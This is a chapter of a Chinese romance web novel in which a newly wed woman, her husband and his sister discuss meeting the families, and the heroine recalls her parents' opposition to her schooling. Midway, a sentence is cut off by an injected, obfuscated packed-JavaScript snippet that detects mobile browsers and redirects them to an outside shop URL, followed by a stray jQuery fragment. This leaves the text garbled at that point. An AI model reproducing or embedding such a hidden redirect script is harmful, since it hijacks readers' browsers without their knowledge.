文趣网 > 其他小说 > 你想都别想 > 25. chapter25
    “我哪有?”郑千熠冤枉得很,他根本没有这样对别攸过好吗?况且,他脾气怎么臭了?他这脾气还臭?那谁的脾气好?

    郑千熔见郑千熠反驳,她抬手点了点道:“我这是提醒你。”

    郑千熠冷笑了声,往别攸旁边走,拉着她的手,也不管郑千熔在场,晃着她胳膊,控诉道,“别攸,你看看她是怎么冤枉我的。”

    “你现在还在这儿呢。”郑千熠像是找到了救星,拉着别攸不放,“她就这么冤枉我。”

    “可想而知,你不在的时候,她是怎么对我的!”郑千熠露出了可怜兮兮的表情,他貌似很擅长在别攸面前装可怜。

    不过,血脉压制带给郑千熠的“痛苦”的确不少,他常常被郑千熔打压得死死的。

    别攸被两个人夹在中间,但她却并不慌忙,只是看着郑千熠戏精上身,抬手抚了抚郑千熠。

    郑千熔没有郑千熠那么幼稚,她双手环臂,转过去脸,道:“郑千熠,你最好已经忘了。”

    “你从小到大做过的那些糗事。”郑千熔知道,某些人最爱面子了,虽然她不知道为什么,他一面对别攸,就像是不在乎面子一样。

    面对喜欢的人,要什么面子?这是郑千熠的至理名言。

    面子可以不要,但是尊严是一定要的,这两件事情还是要分得清的。

    “姐。”郑千熠本着自己可以没面子,但是也得有个底线,别人不能让他的面子没面子,于是乎,他屈从于郑千熔的“淫威”下,“你行。”

    郑千熔挑挑眉,哼了一声,“事实的事。”

    一段小插曲后,他们三个人一起吃饭,郑千熔提了一件事情,早日安排双方家长见面。

    别攸和郑千熠两个人领证领得潇洒,可结婚终究不是小事,郑千熠不懂事,和别攸闪婚,可她作为姐姐,不能跟着一起不懂事,这该有的礼节都要有。

    可不能让人觉得,他们郑家人不靠谱,不踏实。

    别攸听着这件事情,她若有所思地点着头,但说实话,她没太想好怎么和她爸妈说,因为到目前为止,她爸妈并不知道她在这边究竟过得怎么样。

    她已经很多年没回家了,也不太知道家里是什么情况。

    “对了。”郑千熠转过眸,他从来没有听别攸提起过自己的家人,貌似她是从石头缝里蹦出来的,就连家里也没有其他人的痕迹。

    比如照片什么的。

    之前郑千熠也有想过,但后来因为许多的事情,他一直也没有机会询问。

    “我从来都没有听你提起过你家里人。”

    别攸眸光回收,下意识往桌上看,语气不像此前那么坚定不移,道:“我不太喜欢提他们。”

    “而且,他们都挺忙的。”

    “估计也没空过来。”别攸一个回答,企图解决两件事情,“这顿饭就......”

    郑千熔和郑千熠都感觉到了别攸的不对劲,正常人都能够感觉到,别攸很不想提起她的家人,貌似她和家里人之间,有一些难以言喻的事情。

    “阿攸。”郑千熔先喊了一声别攸,如果此时此刻,别攸和郑千熠没有结婚,那她没有立场去询问,可是现在不一样了,他们结婚了,有些事情就不得不说了。

    郑千熔当年在资助别攸之前,有调查过别攸的家庭情况,她家里两个孩子,爸妈在外务工,她还有一个弟弟,叫别秋。

    通过街坊领居的话,郑千熔了解到,别攸和父母的关系一般,她爸妈比较关心弟弟。

    别攸爸妈不希望别攸出去上学,一来是出去上学的费用不低,二来人出去之后见过世面就不愿意再回来了,三来是别攸和弟弟的关系一般,如果别攸出去,那她以后就不能关照弟弟了。

    但别攸的性格很倔,说什么都要去上大学,这是她这辈子唯一一次得到的发展机会,她不允许自己放弃。

    在别攸的强势要求下,别攸的爸妈还是心软了,可以让她出去上大学,但上学的费用需要她自己解决,如果能够解决就上,如果解决不了,那就不要上了。

    别攸的父母从不认为上学是一种投资,因为他们家的条件紧张,根本没钱去做一个所谓的投资,在他们看来,上学就是一种消费,就是花了之后就回不来的一件事情。

    与其将钱花在上学上,过着轻松“奢靡”的生活,倒不如早点入社会,做些工作积攒经验,也能够赚钱养活自己。

    “我们做父母的,能够供你到十八岁,已经是仁至义尽了。”

    “你也别觉得我们对不起你,我们都是普通人,赚的都是辛苦钱,没有那个闲钱再供你上学。”

    “你也上了十二年的学,也应该上够了,我们还是希望你早点出来工作。”

    “你这个犟种,一意孤行非要上学,那你就去上吧。”

    “以后上不出什么东西来,有的是你哭的时候。”

    “到时候你就知道,我们这些过来人和你说的话了。”

    “我们做父母的还能害自己小孩不成?”

    ......

    这些话在别攸的脑海里不断的重复着,过去的许多个日夜,她都曾被这样的声音吵醒,也因为这样的声音一次一次的失眠。

    但别攸知道,她不能够屈服于这些声音,她必须要站起来,也必须要走起来。

    既然他们都觉得她一定会失败,那她一定不要失败,她一定要做自己想做的事情。

    别攸,她会让自己衣食无忧。

    所以,在别人都在谈恋爱的年龄,她从来不去想什么恋爱、什么浪漫,她想的是下个月的生活费怎么办?要怎么样做才能更好的兼顾学业和赚钱?

    要怎么才能度过大学的四年生活。

    别攸一直觉得,恋爱是经济允许的人才能够谈的,爱情是少部分人可以讨论的,是可以不看大众性价比,只看自己十分乐意的。

    后来,别攸获得了世俗意义上的成功,也许走上这条路她注定要失去很多,可她从来不后悔自己失去的,没有失去哪有获得?

    她很高兴,她可以更好的随心而活了。

    上学的时候,她也会羡慕那些家庭条件好的人,羡慕他们可以有人陪着嬉笑打闹,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671629|207031||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    羡慕他们可以轻而易举的做自己。

    当渴望的想法出现时,父母家人的打压声也会随之出现,可以与不可以在猛烈地交锋,将以“她脑海”为战场的地盘炸的稀碎。

    后来,别攸就告诉自己,有些事情,你想都别想。

    你要做的、你能够做的——是让那些所谓的不切实际的想法往现实靠近,让那些占据你头脑的痛苦成为你干事的原动力。

    不想之后,别攸就这么一步一步的走过来了,原来这一切也没有想象中那么困难。

    别攸沉默的时候,郑千熠和郑千熔也跟着沉默,想了一会儿,别攸决定开口,坦诚道:“其实,我的事情我自己就能够做主。”

    “我爸妈常年在外务工,应该没时间管我的事情。”

    “说实话,我和他们的关系也不像你们和伯父伯母的关系那样。”

    “我们没那么好。”

    “所以,如果要吃饭的话。”别攸回答了最开始的事情,“我家有我一个就行。”

    别攸的意思很明显了,既然她已经从需要父母支持的生活里走出来了,那她就不想再走回去了。

    郑千熠和郑千熔听到别攸的回答,他们虽然没有任何商量,但是他们却一致地跳过了这个话题。

    他们不是别攸,无法完全感受别攸的感受。

    最后,他们确定下个月月初两家人一起吃个饭,或者换句话来说,是别攸和郑家人一起吃个饭。

    郑千熠和别攸回去之前,郑千熔专门拉住了郑千熠,同他说了两句。

    “你回去的时候,想办法开导开导阿攸。”

    “有些话,我不太方便说。”郑千熔觉得,有些事情是他们夫妻之间可以说的,且他们能够结婚,能够走到一起,很多事情是要一同面对的。

    “但你可以。”

    郑千熠明白郑千熔的意思,其实郑千熔不说,他也会想办法帮帮别攸的,“放心吧。”

    “我能处理好。”

    回到家后,别攸的心情还不错,其实她早就不受家里事情的影响了,谈到自己和亲人的关系,她也能够平淡从容,毕竟,不是所有人都能够和家里人相处融洽。

    可能她和家人的缘分很淡吧。

    可别攸发现,某人好像比她还要在意,一直在她身边搞出一些动静,又或是做一些无关紧要的事情,来吸引她的注意。

    就像是发现主人不开心,又特别想要逗主人开心的小狗。

    “郑千熠,你能不能别晃来晃去了。”

    “我都要被你晃晕了。”

    郑千熠听到别攸的反馈,他坐到的别攸身旁,特别粘人的贴着她,两个人都刚刚洗完澡,身上散发着同样的香味。

    是柚子花的味道,特别的清香。

    别攸知道,郑千熠想问什么,“郑千熠,其实我和他们关系注定就不会很好的。”

    “怎么说?”郑千熠顺着问下去,他的目光看着别攸,温柔的看着。

    别攸注视着郑千熠的双眸,她要怎么去和他解释呢,明知他不能够理解,她还有必要解释吗?